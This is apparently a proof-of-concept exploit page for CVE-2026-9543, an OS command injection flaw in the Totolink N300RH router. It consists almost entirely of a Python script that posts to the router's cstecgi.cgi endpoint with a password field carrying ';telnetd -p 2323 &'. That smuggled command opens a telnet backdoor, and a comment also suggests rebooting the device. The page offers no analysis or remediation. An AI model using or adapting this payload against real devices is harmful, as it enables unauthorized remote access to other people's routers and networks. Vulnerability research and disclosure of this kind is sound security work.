CVE-2026-9543: Totolink N300RH OS命令注入漏洞

import requests # Target URL url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Vulnerable payload: injecting a command to reboot or create a backdoor # The 'admpass' parameter is vulnerable to OS Command Injection payload = ";telnetd -p 2323 &" # Example: Start telnetd on port 2323 data = { "function": "setPasswordCfg", "admpass": payload } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-9543-Scanner/1.0)" } try: response = requests.post(url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") if response.status_code == 200: print("[+] Payload sent successfully. Check if the command was executed.") else: print("[-] Request failed.") except Exception as e: print(f"[!] Error: {e}")